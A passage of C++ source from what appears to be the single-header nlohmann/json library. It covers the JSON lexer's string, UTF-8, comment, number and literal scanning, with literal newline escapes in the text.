&& codepoint2 <= 0xDFFF))\n                                {\n                                    // overwrite codepoint\n                                    codepoint = static_cast<int>(\n                                        // high surrogate occupies the most significant 22 bits\n                                        (static_cast<unsigned int>(codepoint1) << 10u)\n                                        // low surrogate occupies the least significant 15 bits\n                                        + static_cast<unsigned int>(codepoint2)\n                                        // there is still the 0xD800, 0xDC00 and 0x10000 noise\n                                        // in the result, so we have to subtract with:\n                                        // (0xD800 << 10) + DC00 - 0x10000 = 0x35FDC00\n                                        -0x35FDC00u);\n                                }\n                                else\n                                {\n                                    error_message = \"invalid string: surrogate U+D800..U+DBFF must be followed by U+DC00..U+DFFF\";\n                                    return token_type::parse_error;\n                                }\n                            }\n                            else\n                            {\n                                error_message = \"invalid string: surrogate U+D800..U+DBFF must be followed by U+DC00..U+DFFF\";\n                                return token_type::parse_error;\n                            }\n                        }\n                        else\n                        {\n                            if (JSON_HEDLEY_UNLIKELY(0xDC00 <= codepoint1 && codepoint1 <= 0xDFFF))\n                            {\n                                error_message = \"invalid string: surrogate U+DC00..U+DFFF must follow U+D800..U+DBFF\";\n                                return token_type::parse_error;\n                            }\n                        }\n\n                        // result of the above calculation yields a proper codepoint\n                        JSON_ASSERT(0x00 <= codepoint && codepoint <= 0x10FFFF);\n\n                        // translate codepoint into bytes\n                        if (codepoint < 0x80)\n                        {\n                            // 1-byte characters: 0xxxxxxx (ASCII)\n                            add(static_cast<char_int_type>(codepoint));\n                        }\n                        else if (codepoint <= 0x7FF)\n                        {\n                            // 2-byte characters: 110xxxxx 10xxxxxx\n                            add(static_cast<char_int_type>(0xC0u | (static_cast<unsigned int>(codepoint) >> 6u)));\n                            add(static_cast<char_int_type>(0x80u | (static_cast<unsigned int>(codepoint) & 0x3Fu)));\n                        }\n                        else if (codepoint <= 0xFFFF)\n                        {\n                            // 3-byte characters: 1110xxxx 10xxxxxx 10xxxxxx\n                            add(static_cast<char_int_type>(0xE0u | (static_cast<unsigned int>(codepoint) >> 12u)));\n                            add(static_cast<char_int_type>(0x80u | ((static_cast<unsigned int>(codepoint) >> 6u) & 0x3Fu)));\n                            add(static_cast<char_int_type>(0x80u | (static_cast<unsigned int>(codepoint) & 0x3Fu)));\n                        }\n                        else\n                        {\n                            // 4-byte characters: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx\n                            add(static_cast<char_int_type>(0xF0u | (static_cast<unsigned int>(codepoint) >> 18u)));\n                            add(static_cast<char_int_type>(0x80u | ((static_cast<unsigned int>(codepoint) >> 12u) & 0x3Fu)));\n                            add(static_cast<char_int_type>(0x80u | ((static_cast<unsigned int>(codepoint) >> 6u) & 0x3Fu)));\n                            add(static_cast<char_int_type>(0x80u | (static_cast<unsigned int>(codepoint) & 0x3Fu)));\n                        }\n\n                        break;\n                    }\n\n                    // other characters after escape\n                    default:\n                        error_message = \"invalid string: forbidden character after backslash\";\n                        return token_type::parse_error;\n                    }\n\n                    break;\n                }\n\n                // invalid control characters\n                case 0x00:\n                {\n                    error_message = \"invalid string: control character U+0000 (NUL) must be escaped to \\\\u0000\";\n                    return token_type::parse_error;\n                }\n\n                case 0x01:\n                {\n                    error_message = \"invalid string: control character U+0001 (SOH) must be escaped to \\\\u0001\";\n                    return token_type::parse_error;\n                }\n\n                case 0x02:\n                {\n                    error_message = \"invalid string: control character U+0002 (STX) must be escaped to \\\\u0002\";\n                    return token_type::parse_error;\n                }\n\n                case 0x03:\n                {\n                    error_message = \"invalid string: control character U+0003 (ETX) must be escaped to \\\\u0003\";\n                    return token_type::parse_error;\n                }\n\n                case 0x04:\n                {\n                    error_message = \"invalid string: control character U+0004 (EOT) must be escaped to \\\\u0004\";\n                    return token_type::parse_error;\n                }\n\n                case 0x05:\n                {\n                    error_message = \"invalid string: control character U+0005 (ENQ) must be escaped to \\\\u0005\";\n                    return token_type::parse_error;\n                }\n\n                case 0x06:\n                {\n                    error_message = \"invalid string: control character U+0006 (ACK) must be escaped to \\\\u0006\";\n                    return token_type::parse_error;\n                }\n\n                case 0x07:\n                {\n                    error_message = \"invalid string: control character U+0007 (BEL) must be escaped to \\\\u0007\";\n                    return token_type::parse_error;\n                }\n\n                case 0x08:\n                {\n                    error_message = \"invalid string: control character U+0008 (BS) must be escaped to \\\\u0008 or \\\\b\";\n                    return token_type::parse_error;\n                }\n\n                case 0x09:\n                {\n                    error_message = \"invalid string: control character U+0009 (HT) must be escaped to \\\\u0009 or \\\\t\";\n                    return token_type::parse_error;\n                }\n\n                case 0x0A:\n                {\n                    error_message = \"invalid string: control character U+000A (LF) must be escaped to \\\\u000A or \\\\n\";\n                    return token_type::parse_error;\n                }\n\n                case 0x0B:\n                {\n                    error_message = \"invalid string: control character U+000B (VT) must be escaped to \\\\u000B\";\n                    return token_type::parse_error;\n                }\n\n                case 0x0C:\n                {\n                    error_message = \"invalid string: control character U+000C (FF) must be escaped to \\\\u000C or \\\\f\";\n                    return token_type::parse_error;\n                }\n\n                case 0x0D:\n                {\n                    error_message = \"invalid string: control character U+000D (CR) must be escaped to \\\\u000D or \\\\r\";\n                    return token_type::parse_error;\n                }\n\n                case 0x0E:\n                {\n                    error_message = \"invalid string: control character U+000E (SO) must be escaped to \\\\u000E\";\n                    return token_type::parse_error;\n                }\n\n                case 0x0F:\n                {\n                    error_message = \"invalid string: control character U+000F (SI) must be escaped to \\\\u000F\";\n                    return token_type::parse_error;\n                }\n\n                case 0x10:\n                {\n                    error_message = \"invalid string: control character U+0010 (DLE) must be escaped to \\\\u0010\";\n                    return token_type::parse_error;\n                }\n\n                case 0x11:\n                {\n                    error_message = \"invalid string: control character U+0011 (DC1) must be escaped to \\\\u0011\";\n                    return token_type::parse_error;\n                }\n\n                case 0x12:\n                {\n                    error_message = \"invalid string: control character U+0012 (DC2) must be escaped to \\\\u0012\";\n                    return token_type::parse_error;\n                }\n\n                case 0x13:\n                {\n                    error_message = \"invalid string: control character U+0013 (DC3) must be escaped to \\\\u0013\";\n                    return token_type::parse_error;\n                }\n\n                case 0x14:\n                {\n                    error_message = \"invalid string: control character U+0014 (DC4) must be escaped to \\\\u0014\";\n                    return token_type::parse_error;\n                }\n\n                case 0x15:\n                {\n                    error_message = \"invalid string: control character U+0015 (NAK) must be escaped to \\\\u0015\";\n                    return token_type::parse_error;\n                }\n\n                case 0x16:\n                {\n                    error_message = \"invalid string: control character U+0016 (SYN) must be escaped to \\\\u0016\";\n                    return token_type::parse_error;\n                }\n\n                case 0x17:\n                {\n                    error_message = \"invalid string: control character U+0017 (ETB) must be escaped to \\\\u0017\";\n                    return token_type::parse_error;\n                }\n\n                case 0x18:\n                {\n                    error_message = \"invalid string: control character U+0018 (CAN) must be escaped to \\\\u0018\";\n                    return token_type::parse_error;\n                }\n\n                case 0x19:\n                {\n                    error_message = \"invalid string: control character U+0019 (EM) must be escaped to \\\\u0019\";\n                    return token_type::parse_error;\n                }\n\n                case 0x1A:\n                {\n                    error_message = \"invalid string: control character U+001A (SUB) must be escaped to \\\\u001A\";\n                    return token_type::parse_error;\n                }\n\n                case 0x1B:\n                {\n                    error_message = \"invalid string: control character U+001B (ESC) must be escaped to \\\\u001B\";\n                    return token_type::parse_error;\n                }\n\n                case 0x1C:\n                {\n                    error_message = \"invalid string: control character U+001C (FS) must be escaped to \\\\u001C\";\n                    return token_type::parse_error;\n                }\n\n                case 0x1D:\n                {\n                    error_message = \"invalid string: control character U+001D (GS) must be escaped to \\\\u001D\";\n                    return token_type::parse_error;\n                }\n\n                case 0x1E:\n                {\n                    error_message = \"invalid string: control character U+001E (RS) must be escaped to \\\\u001E\";\n                    return token_type::parse_error;\n                }\n\n                case 0x1F:\n                {\n                    error_message = \"invalid string: control character U+001F (US) must be escaped to \\\\u001F\";\n                    return token_type::parse_error;\n                }\n\n                // U+0020..U+007F (except U+0022 (quote) and U+005C (backspace))\n                case 0x20:\n                case 0x21:\n                case 0x23:\n                case 0x24:\n                case 0x25:\n                case 0x26:\n                case 0x27:\n                case 0x28:\n                case 0x29:\n                case 0x2A:\n                case 0x2B:\n                case 0x2C:\n                case 0x2D:\n                case 0x2E:\n                case 0x2F:\n                case 0x30:\n                case 0x31:\n                case 0x32:\n                case 0x33:\n                case 0x34:\n                case 0x35:\n                case 0x36:\n                case 0x37:\n                case 0x38:\n                case 0x39:\n                case 0x3A:\n                case 0x3B:\n                case 0x3C:\n                case 0x3D:\n                case 0x3E:\n                case 0x3F:\n                case 0x40:\n                case 0x41:\n                case 0x42:\n                case 0x43:\n                case 0x44:\n                case 0x45:\n                case 0x46:\n                case 0x47:\n                case 0x48:\n                case 0x49:\n                case 0x4A:\n                case 0x4B:\n                case 0x4C:\n                case 0x4D:\n                case 0x4E:\n                case 0x4F:\n                case 0x50:\n                case 0x51:\n                case 0x52:\n                case 0x53:\n                case 0x54:\n                case 0x55:\n                case 0x56:\n                case 0x57:\n                case 0x58:\n                case 0x59:\n                case 0x5A:\n                case 0x5B:\n                case 0x5D:\n                case 0x5E:\n                case 0x5F:\n                case 0x60:\n                case 0x61:\n                case 0x62:\n                case 0x63:\n                case 0x64:\n                case 0x65:\n                case 0x66:\n                case 0x67:\n                case 0x68:\n                case 0x69:\n                case 0x6A:\n                case 0x6B:\n                case 0x6C:\n                case 0x6D:\n                case 0x6E:\n                case 0x6F:\n                case 0x70:\n                case 0x71:\n                case 0x72:\n                case 0x73:\n                case 0x74:\n                case 0x75:\n                case 0x76:\n                case 0x77:\n                case 0x78:\n                case 0x79:\n                case 0x7A:\n                case 0x7B:\n                case 0x7C:\n                case 0x7D:\n                case 0x7E:\n                case 0x7F:\n                {\n                    add(current);\n                    break;\n                }\n\n                // U+0080..U+07FF: bytes C2..DF 80..BF\n                case 0xC2:\n                case 0xC3:\n                case 0xC4:\n                case 0xC5:\n                case 0xC6:\n                case 0xC7:\n                case 0xC8:\n                case 0xC9:\n                case 0xCA:\n                case 0xCB:\n                case 0xCC:\n                case 0xCD:\n                case 0xCE:\n                case 0xCF:\n                case 0xD0:\n                case 0xD1:\n                case 0xD2:\n                case 0xD3:\n                case 0xD4:\n                case 0xD5:\n                case 0xD6:\n                case 0xD7:\n                case 0xD8:\n                case 0xD9:\n                case 0xDA:\n                case 0xDB:\n                case 0xDC:\n                case 0xDD:\n                case 0xDE:\n                case 0xDF:\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!next_byte_in_range({ 0x80, 0xBF })))\n                    {\n                        return token_type::parse_error;\n                    }\n                    break;\n                }\n\n                // U+0800..U+0FFF: bytes E0 A0..BF 80..BF\n                case 0xE0:\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({ 0xA0, 0xBF, 0x80, 0xBF }))))\n                    {\n                        return token_type::parse_error;\n                    }\n                    break;\n                }\n\n                // U+1000..U+CFFF: bytes E1..EC 80..BF 80..BF\n                // U+E000..U+FFFF: bytes EE..EF 80..BF 80..BF\n                case 0xE1:\n                case 0xE2:\n                case 0xE3:\n                case 0xE4:\n                case 0xE5:\n                case 0xE6:\n                case 0xE7:\n                case 0xE8:\n                case 0xE9:\n                case 0xEA:\n                case 0xEB:\n                case 0xEC:\n                case 0xEE:\n                case 0xEF:\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({ 0x80, 0xBF, 0x80, 0xBF }))))\n                    {\n                        return token_type::parse_error;\n                    }\n                    break;\n                }\n\n                // U+D000..U+D7FF: bytes ED 80..9F 80..BF\n                case 0xED:\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({ 0x80, 0x9F, 0x80, 0xBF }))))\n                    {\n                        return token_type::parse_error;\n                    }\n                    break;\n                }\n\n                // U+10000..U+3FFFF F0 90..BF 80..BF 80..BF\n                case 0xF0:\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({ 0x90, 0xBF, 0x80, 0xBF, 0x80, 0xBF }))))\n                    {\n                        return token_type::parse_error;\n                    }\n                    break;\n                }\n\n                // U+40000..U+FFFFF F1..F3 80..BF 80..BF 80..BF\n                case 0xF1:\n                case 0xF2:\n                case 0xF3:\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({ 0x80, 0xBF, 0x80, 0xBF, 0x80, 0xBF }))))\n                    {\n                        return token_type::parse_error;\n                    }\n                    break;\n                }\n\n                // U+100000..U+10FFFF F4 80..8F 80..BF 80..BF\n                case 0xF4:\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!(next_byte_in_range({ 0x80, 0x8F, 0x80, 0xBF, 0x80, 0xBF }))))\n                    {\n                        return token_type::parse_error;\n                    }\n                    break;\n                }\n\n                // remaining bytes (80..C1 and F5..FF) are ill-formed\n                default:\n                {\n                    error_message = \"invalid string: ill-formed UTF-8 byte\";\n                    return token_type::parse_error;\n                }\n                }\n            }\n        }\n\n        /*!\n         * @brief scan a comment\n         * @return whether comment could be scanned successfully\n         */\n        bool scan_comment()\n        {\n            switch (get())\n            {\n                // single-line comments skip input until a newline or EOF is read\n            case '/':\n            {\n                while (true)\n                {\n                    switch (get())\n                    {\n                    case '\\n':\n                    case '\\r':\n                    case char_traits<char_type>::eof():\n                    case '\\0':\n                        return true;\n\n                    default:\n                        break;\n                    }\n                }\n            }\n\n            // multi-line comments skip input until */ is read\n            case '*':\n            {\n                while (true)\n                {\n                    switch (get())\n                    {\n                    case char_traits<char_type>::eof():\n                    case '\\0':\n                    {\n                        error_message = \"invalid comment; missing closing '*/'\";\n                        return false;\n                    }\n\n                    case '*':\n                    {\n                        switch (get())\n                        {\n                        case '/':\n                            return true;\n\n                        default:\n                        {\n                            unget();\n                            continue;\n                        }\n                        }\n                    }\n\n                    default:\n                        continue;\n                    }\n                }\n            }\n\n            // unexpected character after reading '/'\n            default:\n            {\n                error_message = \"invalid comment; expecting '/' or '*' after '/'\";\n                return false;\n            }\n            }\n        }\n\n        JSON_HEDLEY_NON_NULL(2)\n            static void strtof(float& f, const char* str, char** endptr) noexcept\n        {\n            f = std::strtof(str, endptr);\n        }\n\n        JSON_HEDLEY_NON_NULL(2)\n            static void strtof(double& f, const char* str, char** endptr) noexcept\n        {\n            f = std::strtod(str, endptr);\n        }\n\n        JSON_HEDLEY_NON_NULL(2)\n            static void strtof(long double& f, const char* str, char** endptr) noexcept\n        {\n            f = std::strtold(str, endptr);\n        }\n\n        /*!\n        @brief scan a number literal\n\n        This function scans a string according to Sect. 6 of RFC 8259.\n\n        The function is realized with a deterministic finite state machine derived\n        from the grammar described in RFC 8259. Starting in state \"init\", the\n        input is read and used to determined the next state. Only state \"done\"\n        accepts the number. State \"error\" is a trap state to model errors. In the\n        table below, \"anything\" means any character but the ones listed before.\n\n        state    | 0        | 1-9      | e E      | +       | -       | .        | anything\n        ---------|----------|----------|----------|---------|---------|----------|-----------\n        init     | zero     | any1     | [error]  | [error] | minus   | [error]  | [error]\n        minus    | zero     | any1     | [error]  | [error] | [error] | [error]  | [error]\n        zero     | done     | done     | exponent | done    | done    | decimal1 | done\n        any1     | any1     | any1     | exponent | done    | done    | decimal1 | done\n        decimal1 | decimal2 | decimal2 | [error]  | [error] | [error] | [error]  | [error]\n        decimal2 | decimal2 | decimal2 | exponent | done    | done    | done     | done\n        exponent | any2     | any2     | [error]  | sign    | sign    | [error]  | [error]\n        sign     | any2     | any2     | [error]  | [error] | [error] | [error]  | [error]\n        any2     | any2     | any2     | done     | done    | done    | done     | done\n\n        The state machine is realized with one label per state (prefixed with\n        \"scan_number_\") and `goto` statements between them. The state machine\n        contains cycles, but any cycle can be left when EOF is read. Therefore,\n        the function is guaranteed to terminate.\n\n        During scanning, the read bytes are stored in token_buffer. This string is\n        then converted to a signed integer, an unsigned integer, or a\n        floating-point number.\n\n        @return token_type::value_unsigned, token_type::value_integer, or\n                token_type::value_float if number could be successfully scanned,\n                token_type::parse_error otherwise\n\n        @note The scanner is independent of the current locale. Internally, the\n              locale's decimal point is used instead of `.` to work with the\n              locale-dependent converters.\n        */\n        token_type scan_number()  // lgtm [cpp/use-of-goto]\n        {\n            // reset token_buffer to store the number's bytes\n            reset();\n\n            // the type of the parsed number; initially set to unsigned; will be\n            // changed if minus sign, decimal point or exponent is read\n            token_type number_type = token_type::value_unsigned;\n\n            // state (init): we just found out we need to scan a number\n            switch (current)\n            {\n            case '-':\n            {\n                add(current);\n                goto scan_number_minus;\n            }\n\n            case '0':\n            {\n                add(current);\n                goto scan_number_zero;\n            }\n\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n            {\n                add(current);\n                goto scan_number_any1;\n            }\n\n            // all other characters are rejected outside scan_number()\n            default:            // LCOV_EXCL_LINE\n                JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n            }\n\n        scan_number_minus:\n            // state: we just parsed a leading minus sign\n            number_type = token_type::value_integer;\n            switch (get())\n            {\n            case '0':\n            {\n                add(current);\n                goto scan_number_zero;\n            }\n\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n            {\n                add(current);\n                goto scan_number_any1;\n            }\n\n            default:\n            {\n                error_message = \"invalid number; expected digit after '-'\";\n                return token_type::parse_error;\n            }\n            }\n\n        scan_number_zero:\n            // state: we just parse a zero (maybe with a leading minus sign)\n            switch (get())\n            {\n            case '.':\n            {\n                add(decimal_point_char);\n                goto scan_number_decimal1;\n            }\n\n            case 'e':\n            case 'E':\n            {\n                add(current);\n                goto scan_number_exponent;\n            }\n\n            default:\n                goto scan_number_done;\n            }\n\n        scan_number_any1:\n            // state: we just parsed a number 0-9 (maybe with a leading minus sign)\n            switch (get())\n            {\n            case '0':\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n            {\n                add(current);\n                goto scan_number_any1;\n            }\n\n            case '.':\n            {\n                add(decimal_point_char);\n                goto scan_number_decimal1;\n            }\n\n            case 'e':\n            case 'E':\n            {\n                add(current);\n                goto scan_number_exponent;\n            }\n\n            default:\n                goto scan_number_done;\n            }\n\n        scan_number_decimal1:\n            // state: we just parsed a decimal point\n            number_type = token_type::value_float;\n            switch (get())\n            {\n            case '0':\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n            {\n                add(current);\n                goto scan_number_decimal2;\n            }\n\n            default:\n            {\n                error_message = \"invalid number; expected digit after '.'\";\n                return token_type::parse_error;\n            }\n            }\n\n        scan_number_decimal2:\n            // we just parsed at least one number after a decimal point\n            switch (get())\n            {\n            case '0':\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n            {\n                add(current);\n                goto scan_number_decimal2;\n            }\n\n            case 'e':\n            case 'E':\n            {\n                add(current);\n                goto scan_number_exponent;\n            }\n\n            default:\n                goto scan_number_done;\n            }\n\n        scan_number_exponent:\n            // we just parsed an exponent\n            number_type = token_type::value_float;\n            switch (get())\n            {\n            case '+':\n            case '-':\n            {\n                add(current);\n                goto scan_number_sign;\n            }\n\n            case '0':\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n            {\n                add(current);\n                goto scan_number_any2;\n            }\n\n            default:\n            {\n                error_message =\n                    \"invalid number; expected '+', '-', or digit after exponent\";\n                return token_type::parse_error;\n            }\n            }\n\n        scan_number_sign:\n            // we just parsed an exponent sign\n            switch (get())\n            {\n            case '0':\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n            {\n                add(current);\n                goto scan_number_any2;\n            }\n\n            default:\n            {\n                error_message = \"invalid number; expected digit after exponent sign\";\n                return token_type::parse_error;\n            }\n            }\n\n        scan_number_any2:\n            // we just parsed a number after the exponent or exponent sign\n            switch (get())\n            {\n            case '0':\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n            {\n                add(current);\n                goto scan_number_any2;\n            }\n\n            default:\n                goto scan_number_done;\n            }\n\n        scan_number_done:\n            // unget the character after the number (we only read it to know that\n            // we are done scanning a number)\n            unget();\n\n            char* endptr = nullptr; // NOLINT(cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n            errno = 0;\n\n            // try to parse integers first and fall back to floats\n            if (number_type == token_type::value_unsigned)\n            {\n                const auto x = std::strtoull(token_buffer.data(), &endptr, 10);\n\n                // we checked the number format before\n                JSON_ASSERT(endptr == token_buffer.data() + token_buffer.size());\n\n                if (errno == 0)\n                {\n                    value_unsigned = static_cast<number_unsigned_t>(x);\n                    if (value_unsigned == x)\n                    {\n                        return token_type::value_unsigned;\n                    }\n                }\n            }\n            else if (number_type == token_type::value_integer)\n            {\n                const auto x = std::strtoll(token_buffer.data(), &endptr, 10);\n\n                // we checked the number format before\n                JSON_ASSERT(endptr == token_buffer.data() + token_buffer.size());\n\n                if (errno == 0)\n                {\n                    value_integer = static_cast<number_integer_t>(x);\n                    if (value_integer == x)\n                    {\n                        return token_type::value_integer;\n                    }\n                }\n            }\n\n            // this code is reached if we parse a floating-point number or if an\n            // integer conversion above failed\n            strtof(value_float, token_buffer.data(), &endptr);\n\n            // we checked the number format before\n            JSON_ASSERT(endptr == token_buffer.data() + token_buffer.size());\n\n            return token_type::value_float;\n        }\n\n        /*!\n        @param[in] literal_text  the literal text to expect\n        @param[in] length        the length of the passed literal text\n        @param[in] return_type   the token type to return on success\n        */\n        JSON_HEDLEY_NON_NULL(2)\n            token_type scan_literal(const char_type* literal_text, const std::size_t length,\n                token_type return_type)\n        {\n            JSON_ASSERT(char_traits<char_type>::to_char_type(current) == literal_text[0]);\n            for (std::size_t i = 1; i < length; ++i)\n            {\n                if (JSON_HEDLEY_UNLIKELY(char_traits<char_type>::to_char_type(get()) != literal_text[i]))\n                {\n                    error_message = \"invalid literal\";\n                    return token_type::parse_error;\n                }\n            }\n            return return_type;\n        }\n\n        /////////////////////\n        // input management\n        /////////////////////\n\n        /// reset token_buffer; current character is beginning of token\n        void reset() noexcept\n        {\n            token_buffer.clear();\n            token_string.clear();\n            token_string.push_back(char_traits<char_type>::to_char_type(current));\n        }\n\n        /*\n        @brief get next character from the input\n\n        This function provides the interface to the used input adapter. It does\n        not throw in case the input reached EOF, but returns a\n        `char_traits<char>::eof()` in that case.  Stores the scanned characters\n        for use in error messages.\n\n        @return character read from the input\n        */\n        char_int_type get()\n        {\n            ++position.chars_read_total;\n            ++position.chars_read_current_line;\n\n            if (next_unget)\n            {\n                // just reset the next_unget variable and work with current\n                next_unget = false;\n            }\n            else\n            {\n                current = ia.get_character();\n            }\n\n            if (JSON_HEDLEY_LIKELY(current != char_traits<char_type>::eof()))\n            {\n                token_string.push_back(char_traits<char_type>::to_char_type(current));\n            }\n\n            if (current == '\\n')\n            {\n                ++position.lines_read;\n                position.chars_read_current_line = 0;\n            }\n\n            return current;\n        }\n\n        /*!\n        @brief unget current character (read it again on next get)\n\n        We implement unget by setting variable next_unget to true. The input is not\n        changed - we just simulate ungetting by modifying chars_read_total,\n        chars_read_current_line, and token_string. The next call to get() will\n        behave as if the unget character is read again.\n        */\n        void unget()\n        {\n            next_unget = true;\n\n            --position.chars_read_total;\n\n            // in case we \"unget\" a newline, we have to also decrement the lines_read\n            if (position.chars_read_current_line == 0)\n            {\n                if (position.lines_read > 0)\n                {\n                    --position.lines_read;\n                }\n            }\n            else\n            {\n                --position.chars_read_current_line;\n            }\n\n            if (JSON_HEDLEY_LIKELY(current != char_traits<char_type>::eof()))\n            {\n                JSON_ASSERT(!token_string.empty());\n                token_string.pop_back();\n            }\n        }\n\n        /// add a character to token_buffer\n        void add(char_int_type c)\n        {\n            token_buffer.push_back(static_cast<typename string_t::value_type>(c));\n        }\n\n    public:\n        /////////////////////\n        // value getters\n        /////////////////////\n\n        /// return integer value\n        constexpr number_integer_t get_number_integer() const noexcept\n        {\n            return value_integer;\n        }\n\n        /// return unsigned integer value\n        constexpr number_unsigned_t get_number_unsigned() const noexcept\n        {\n            return value_unsigned;\n        }\n\n        /// return floating-point value\n        constexpr number_float_t get_number_float() const noexcept\n        {\n            return value_float;\n        }\n\n        /// return current string value (implicitly resets the token; useful only once)\n        string_t& get_string()\n        {\n            return token_buffer;\n        }\n\n        /////////////////////\n        // diagnostics\n        /////////////////////\n\n        /// return position of last read token\n        constexpr position_t get_position() const noexcept\n        {\n            return position;\n        }\n\n        /// return the last read token (for errors only).  Will never contain EOF\n        /// (an arbitrary value that is not a valid char value, often -1), because\n        /// 255 may legitimately occur.  May contain NUL, which should be escaped.\n        std::string get_token_string() const\n        {\n            // escape control characters\n            std::string result;\n            for (const auto c : token_string)\n            {\n                if (static_cast<unsigned char>(c) <= '\\x1F')\n                {\n                    // escape control characters\n                    std::array<char, 9> cs{ {} };\n                    static_cast<void>((std::snprintf)(cs.data(), cs.size(), \"<U+%.4X>\", static_cast<unsigned char>(c))); // NOLINT(cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n                    result += cs.data();\n                }\n                else\n                {\n                    // add character as is\n                    result.push_back(static_cast<std::string::value_type>(c));\n                }\n            }\n\n            return result;\n        }\n\n        /// return syntax error message\n        JSON_HEDLEY_RETURNS_NON_NULL\n            constexpr const char* get_error_message() const noexcept\n        {\n            return error_message;\n        }\n\n        /////////////////////\n        // actual scanner\n        /////////////////////\n\n        /*!\n        @brief skip the UTF-8 byte order mark\n        @return true iff there is no BOM or the correct BOM has been skipped\n        */\n        bool skip_bom()\n        {\n            if (get() == 0xEF)\n            {\n                // check if we completely parse the BOM\n                return get() == 0xBB && get() == 0xBF;\n            }\n\n            // the first character is not the beginning of the BOM; unget it to\n            // process is later\n            unget();\n            return true;\n        }\n\n        void skip_whitespace()\n        {\n            do\n            {\n                get();\n            } while (current == ' ' || current == '\\t' || current == '\\n' || current == '\\r');\n        }\n\n        token_type scan()\n        {\n            // initially, skip the BOM\n            if (position.chars_read_total == 0 && !skip_bom())\n            {\n                error_message = \"invalid BOM; must be 0xEF 0xBB 0xBF if given\";\n                return token_type::parse_error;\n            }\n\n            // read next character and ignore whitespace\n            skip_whitespace();\n\n            // ignore comments\n            while (ignore_comments && current == '/')\n            {\n                if (!scan_comment())\n                {\n                    return token_type::parse_error;\n                }\n\n                // skip following whitespace\n                skip_whitespace();\n            }\n\n            switch (current)\n            {\n                // structural characters\n            case '[':\n                return token_type::begin_array;\n            case ']':\n                return token_type::end_array;\n            case '{':\n                return token_type::begin_object;\n            case '}':\n                return token_type::end_object;\n            case ':':\n                return token_type::name_separator;\n            case ',':\n                return token_type::value_separator;\n\n                // literals\n            case 't':\n            {\n                std::array<char_type, 4> true_literal = { {static_cast<char_type>('t'), static_cast<char_type>('r'), static_cast<char_type>('u'), static_cast<char_type>('e')} };\n                return scan_literal(true_literal.data(), true_literal.size(), token_type::literal_true);\n            }\n            case 'f':\n            {\n                std::array<char_type, 5> false_literal = { {static_cast<char_type>('f'), static_cast<char_type>('a'), static_cast<char_type>('l'), static_cast<char_type>('s'), static_cast<char_type>('e')} };\n                return scan_literal(false_literal.data(), false_literal.size(), token_type::literal_false);\n            }\n            case 'n':\n            {\n                std::array<char_type, 4> null_literal = { {static_cast<char_type>('n'), static_cast<char_type>('u'), static_cast<char_type>('l'), static_cast<char_type>('l')} };\n                return scan_literal(null_literal.data(), null_literal.size(), token_type::literal_null);\n            }\n\n            // string\n            case '\\\"':\n                return scan_string();\n\n                // number\n            case '-':\n            case '0':\n            case '1':\n            case '2':\n            case '3':\n            case '4':\n            case '5':\n            case '6':\n            case '7':\n            case '8':\n            case '9':\n                return scan_number();\n\n                // end of input (the null byte is needed when parsing from\n                // string literals)\n            case '\\0':\n            case char_traits<char_type>::eof():\n                return token_type::end_of_input;\n\n                // error\n            default:\n                error_message = \"invalid literal\";\n                return token_type::parse_error;\n            }\n        }\n\n    private:\n        /// input adapter\n        InputAdapterType ia;\n\n        /// whether comments should be ignored (true) or signaled as errors (false)\n        const bool ignore_comments = false;\n\n        /// the current character\n        char_int_type current = char_traits<char_type>::eof();\n\n        /// whether the next get() call should just return current\n        bool next_unget = false;\n\n        /// the start position of the current token\n        position_t position{};\n\n        /// raw input token string (for error messages)\n        std::vector<char_type> token_string{};\n\n        /// buffer for variable-length tokens (numbers, strings)\n        string_t token_buffer{};\n\n        /// a description of occurred lexer errors\n        const char* error_message = \"\";\n\n        // number values\n        number_integer_t value_integer = 0;\n        number_unsigned_t value_unsigned = 0;\n        number_float_t value_float = 0;\n\n        /// the decimal point\n        const char_int_type decimal_point_char = '.';\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/is_sax.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstdint> // size_t\n#include <utility> // declval\n#include <string> // string\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n// #include <nlohmann/detail/meta/detected.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    template<typename T>\n    using null_function_t = decltype(std::declval<T&>().null());\n\n    template<typename T>\n    using boolean_function_t =\n        decltype(std::declval<T&>().boolean(std::declval<bool>()));\n\n  